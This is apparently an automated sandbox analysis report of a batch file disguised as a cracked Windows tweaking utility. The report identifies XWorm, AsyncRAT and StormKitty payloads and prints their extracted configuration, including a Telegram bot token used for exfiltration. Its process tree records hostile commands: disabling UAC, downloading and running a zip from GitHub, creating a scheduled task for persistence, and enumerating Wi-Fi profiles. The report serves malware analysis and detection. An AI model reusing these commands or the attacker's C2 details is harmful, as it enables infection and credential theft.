Analysis

  • max time kernel
    67s
  • max time network
    67s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2024 20:05

General

  • Target

    EXM_Premium_Tweaking_Utility_1.0_Cracked.bat

  • Size

    672KB

  • MD5

    f9ca73d63fe61c4c401528fb470ce08e

  • SHA1

    584f69b507ddf33985673ee612e6099aff760fb1

  • SHA256

    16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

  • SHA512

    6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de

  • SSDEEP

    3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/ZnhxAV6a

  • telegram

    https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Detect Xworm Payload 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • Stormkitty family
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 9 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\system32\reg.exe
      Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
      2⤵
        PID:3096
      • C:\Windows\system32\reg.exe
        Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
        2⤵
          PID:1828
        • C:\Windows\system32\reg.exe
          Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
          2⤵
            PID:3928
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1340
          • C:\Windows\system32\reg.exe
            Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
            2⤵
            • UAC bypass
            PID:4024
          • C:\Windows\system32\reg.exe
            Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
            2⤵
              PID:1516
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2988
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path Win32_UserAccount where name="Admin" get sid
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4140
              • C:\Windows\system32\findstr.exe
                findstr "S-"
                3⤵
                  PID:60
              • C:\Windows\system32\chcp.com
                chcp 65001
                2⤵
                  PID:4380
                • C:\Windows\system32\chcp.com
                  chcp 437
                  2⤵
                    PID:5044
                  • C:\Windows\system32\curl.exe
                    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
                    2⤵
                      PID:2980
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4780
                    • C:\exm\EXMservice.exe
                      EXMservice.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3928
                      • C:\Users\Admin\msedge.exe
                        "C:\Users\Admin\msedge.exe"
                        3⤵
                        • Checks computer location settings
                        • Drops startup file
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1412
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
                          4⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4732
                      • C:\Users\Admin\svchost.exe
                        "C:\Users\Admin\svchost.exe"
                        3⤵
                        • Executes dropped EXE
                        • Drops desktop.ini file(s)
                        • System Location Discovery: System Language Discovery
                        • Checks processor information in registry
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1872
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:2524
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:5000
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show profile
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Wi-Fi Discovery
                            PID:4772
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr All
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:4040
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:5064
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:3292
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show networks mode=bssid
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            PID:1656
                    • C:\Windows\system32\chcp.com
                      chcp 65001
                      2⤵
                        PID:4024
                      • C:\Windows\system32\chcp.com
                        chcp 437
                        2⤵
                          PID:5072
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('ONLY DO THESE ON ETHERNET, WIFI TWEAKS COMING IN 1.0', 'Exm Tweaking Utility', 'Ok', [System.Windows.Forms.MessageBoxIcon]::Information);}"
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3108
                        • C:\Windows\system32\chcp.com
                          chcp 65001
                          2⤵
                            PID:3316
                          • C:\Windows\system32\timeout.exe
                            timeout 2
                            2⤵
                            • Delays execution with timeout.exe
                            PID:2272

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\9a51fd45f5964912bf4f17da1ae8100f\msgid.dat

                          Filesize

                          1B

                          MD5

                          cfcd208495d565ef66e7dff9f98764da

                          SHA1

                          b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                          SHA256

                          5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                          SHA512

                          31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                          Filesize

                          2KB

                          MD5

                          6cf293cb4d80be23433eecf74ddb5503

                          SHA1

                          24fe4752df102c2ef492954d6b046cb5512ad408

                          SHA256

                          b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                          SHA512

                          0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          64B

                          MD5

                          50a8221b93fbd2628ac460dd408a9fc1

                          SHA1

                          7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                          SHA256

                          46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                          SHA512

                          27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                          Filesize

                          1KB

                          MD5

                          2b8634a147a40bf4e6836be570a3e21d

                          SHA1

                          a1f2eb05ade58e4aa48b156e5de8d72dc04c4ad3

                          SHA256

                          2516904bf17e895f7b0c9bfec81fe1516de4d37c6a2835b8c83aa79f670f63ce

                          SHA512

                          78c5348a121bc00e6f7427dc4b11c301c4f2e898c4108eb328c8a740d96fc8a8a1f869b3769e84ec1b36fc483280ae7b6d5e9981e7bf2facd548944b036a0bd8

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ikyrx0pw.2wy.ps1

                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                        • C:\Users\Admin\AppData\Local\Temp\exm.zip

                          Filesize

                          13.3MB

                          MD5

                          57a6527690625bea4e4f668e7db6b2aa

                          SHA1

                          c5799fd94999d128203e81e22c6d9fdb86e167ee

                          SHA256

                          076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

                          SHA512

                          d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

                        • C:\Users\Admin\AppData\Local\fa3df1b47ae9aee81ee7a9709055c065\Admin@UTKBEBLO_en-US\Browsers\Firefox\Bookmarks.txt

                          Filesize

                          105B

                          MD5

                          2e9d094dda5cdc3ce6519f75943a4ff4

                          SHA1

                          5d989b4ac8b699781681fe75ed9ef98191a5096c

                          SHA256

                          c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                          SHA512

                          d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                        • C:\Users\Admin\AppData\Local\fa3df1b47ae9aee81ee7a9709055c065\Admin@UTKBEBLO_en-US\System\Process.txt

                          Filesize

                          4KB

                          MD5

                          ce55a125bf7f33cd38b148013632b27a

                          SHA1

                          015fd2fe46b32ca28191d8a3bec3f711e94f093b

                          SHA256

                          9fa2c29b9e62e49fbb7a03b02155ccb99adac31ef8f93fa0807c9c55424a0046

                          SHA512

                          6ec76a7a646b703bf3051684de09b760edd06cda1c04f636aee54a3772ebc34b3f8d8591d61a86f94b8f655c2321092ba4e4a30f752e794ea4e150b84afd216f

                        • C:\Users\Admin\msedge.exe

                          Filesize

                          146KB

                          MD5

                          f1c2525da4f545e783535c2875962c13

                          SHA1

                          92bf515741775fac22690efc0e400f6997eba735

                          SHA256

                          9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

                          SHA512

                          56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

                        • C:\Users\Admin\svchost.exe

                          Filesize

                          226KB

                          MD5

                          1bea6c3f126cf5446f134d0926705cee

                          SHA1

                          02c49933d0c2cc068402a93578d4768745490d58

                          SHA256

                          1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

                          SHA512

                          eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

                        • C:\exm\EXMservice.exe

                          Filesize

                          12.0MB

                          MD5

                          aab9c36b98e2aeff996b3b38db070527

                          SHA1

                          4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

                          SHA256

                          c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

                          SHA512

                          0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

                        • memory/1340-0-0x00007FFD2F563000-0x00007FFD2F565000-memory.dmp

                          Filesize

                          8KB

                        • memory/1340-1-0x000001E87FC70000-0x000001E87FC92000-memory.dmp

                          Filesize

                          136KB

                        • memory/1340-12-0x00007FFD2F560000-0x00007FFD30021000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/1340-11-0x00007FFD2F560000-0x00007FFD30021000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/1340-15-0x00007FFD2F560000-0x00007FFD30021000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/1412-127-0x00000000000D0000-0x00000000000FA000-memory.dmp

                          Filesize

                          168KB

                        • memory/1872-291-0x00000000067E0000-0x0000000006872000-memory.dmp

                          Filesize

                          584KB

                        • memory/1872-133-0x0000000005E70000-0x0000000005ED6000-memory.dmp

                          Filesize

                          408KB

                        • memory/1872-132-0x0000000000E70000-0x0000000000EAE000-memory.dmp

                          Filesize

                          248KB

                        • memory/1872-292-0x0000000006E30000-0x00000000073D4000-memory.dmp

                          Filesize

                          5.6MB

                        • memory/1872-296-0x00000000069A0000-0x00000000069AA000-memory.dmp

                          Filesize

                          40KB

                        • memory/3928-71-0x0000000000780000-0x00000000007E6000-memory.dmp

                          Filesize

                          408KB

                        • memory/4780-28-0x000002255AAD0000-0x000002255AAE2000-memory.dmp

                          Filesize

                          72KB

                        • memory/4780-29-0x00000225585A0000-0x00000225585AA000-memory.dmp

                          Filesize

                          40KB